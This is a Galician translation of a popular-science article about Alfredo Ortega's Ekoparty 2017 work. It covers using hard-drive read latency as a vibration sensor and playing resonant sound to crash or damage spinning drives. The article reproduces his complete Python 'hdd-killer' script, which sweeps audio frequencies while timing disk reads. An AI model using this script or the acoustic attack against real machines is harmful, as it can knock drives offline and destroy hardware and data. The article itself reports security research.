Por que non deberías berrarlle ao teu disco duro

Por que non deberías berrarlle ao teu disco duro

Na conferencia de seguridade informática Ekoparty 2017 en Bos Aires, o hacker arxentino Alfredo Ortega mostrou un desenvolvemento moi interesante: un sistema de escoitas telefónicas encubertas de locais sen utilizar un micrófono. Son gravado directamente no disco duro!

O disco duro capta principalmente sons de baixa frecuencia de alta intensidade, pasos e outras vibracións. Aínda non se pode recoñecer a fala humana, aínda que os científicos están realizando investigacións nesta dirección (recoñecemento de voz por vibracións de baixa frecuencia, que se rexistran, por exemplo, desde un xiroscopio ou HDD).

O son é a vibración do aire ou doutro medio. Unha persoa percíbeas a través do tímpano, que transmite vibracións ao oído interno. O micrófono está deseñado aproximadamente como un oído; aquí tamén as vibracións son rexistradas por unha membrana delgada, que excita un impulso eléctrico. O disco duro, por suposto, tamén está suxeito a vibracións microscópicas debido ás flutuacións do aire circundante. Isto sábese incluso polas características técnicas dos discos duros: os fabricantes adoitan indicar o nivel de vibración máximo permitido e o propio disco duro adoita tentalo colocar nun recipiente a proba de vibracións feito de caucho ou outro material illante. A partir diso é doado concluír que os sons poden ser gravados usando o disco duro. Só queda descubrir como.

Alfredo Ortega propuxo unha versión única dun ataque de canle lateral, é dicir, un ataque de tempo. Este ataque baséase na suposición de que se realizan diferentes operacións no dispositivo en diferentes momentos, dependendo dos datos de entrada proporcionados. Neste caso, os "datos de entrada" son as vibracións do cabezal de lectura e do disco HDD, que se correlacionan coas vibracións do ambiente, é dicir, co son. Así, medindo o tempo de cálculo e realizando unha análise estatística dos datos, pódense medir as vibracións do cabezal/plato e, polo tanto, as vibracións do medio. Canto maior sexa o atraso na lectura dos datos, máis fortes serán as vibracións do disco duro e, polo tanto, máis alto será o son.

Como medir a vibración do disco duro? Moi sinxelo: só tes que executar a chamada do sistema read () — e rexistra o tempo que tarda en completar. Os sistemas operativos modernos permítenche ler o tempo das chamadas ao sistema cunha precisión de nanosegundos.

A velocidade de lectura da información dun sector depende da posición da cabeza e do prato, que se correlaciona coas vibracións da carcasa do disco duro. Iso é todo.

A análise estatística realízase mediante unha sinxela utilidade Kscope. Como din, todo o enxeñoso é sinxelo.

Por que non deberías berrarlle ao teu disco duro
Utilidade Kscope (stat() syscall)

Kscope é unha pequena utilidade para visualizar pequenas diferenzas nos tempos de execución das chamadas do sistema. Fontepublicado en GitHub.

Nun repositorio separado Tempo de disco duro hai unha versión da utilidade configurada para un ataque de tempo no disco duro, é dicir, configurada para analizar a chamada do sistema read ().

Demostración da gravación de son mediante HDD, funcionamento da utilidade Kscope


Por suposto, a fala non se pode entender deste xeito, pero o HDD é bastante axeitado como sensor de vibración. Por exemplo, pode rexistrarse se unha persoa que usa zapatos duros ou descalza entrou nunha habitación cun ordenador (probablemente, se o atacante leva unhas zapatillas de deporte suaves ou hai unha alfombra grosa no chan, o disco duro non poderá rexistrar vibracións). isto paga a pena comprobar). O ordenador é capaz de rexistrar vidros rotos ou outros incidentes con forte intensidade sonora. É dicir, o disco duro pode servir como unha especie de sistema de detección de intrusos non autorizados.

asasino de discos duros

Por certo, pódese usar unha técnica similar para desactivar os discos duros. Só aquí non eliminamos as oscilacións do disco duro, senón que, pola contra, xeramos oscilacións que se alimentan ao disco duro. Se reproduces o son dun altofalante a unha frecuencia que resoa coa frecuencia do disco duro, o sistema apaga pronto o dispositivo cun erro de E/S (o núcleo de Linux apaga completamente o disco duro despois de 120 segundos). O propio disco duro pode sufrir danos irreversibles.

Por que non deberías berrarlle ao teu disco duro
O núcleo de Linux apagou o disco duro despois de 120 segundos de entregar son a unha frecuencia de resonancia a través do altofalante do altofalante USB Edifier r19u. O altofalante acende a aproximadamente un cuarto de potencia (menos de 100 mW) e sitúase a 20 cm do disco duro, dirixido á mesa para aumentar as vibracións. Cadro dende vídeo cunha demostración do asasino de HDD

É curioso que estes "ataques" aos discos duros ocorren ás veces por accidente na vida cotiá. Por exemplo, en setembro de 2016, o centro de datos do ING Bank viuse obrigado a suspender as súas operacións durante 10 horas despois dun simulacro de incendio. Decenas de discos duros fallaron debido ao forte son do gas inerte que se libera dos cilindros a alta presión. O son era moi alto (máis de 130 dB), pero nin sequera podes gritar aos discos duros; isto aumenta o atraso no acceso ao disco duro.

Demostración de gritos humanos contra os discos duros nun centro de datos. Medición de latencia


Para xerar o son resonante, Alfredo Ortega escribiu un guión Python chamado hdd-killer (video demostración).

Script killer HDD É bastante pequeno, polo que podes publicalo completo aquí.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Fonte: www.habr.com

Engadir un comentario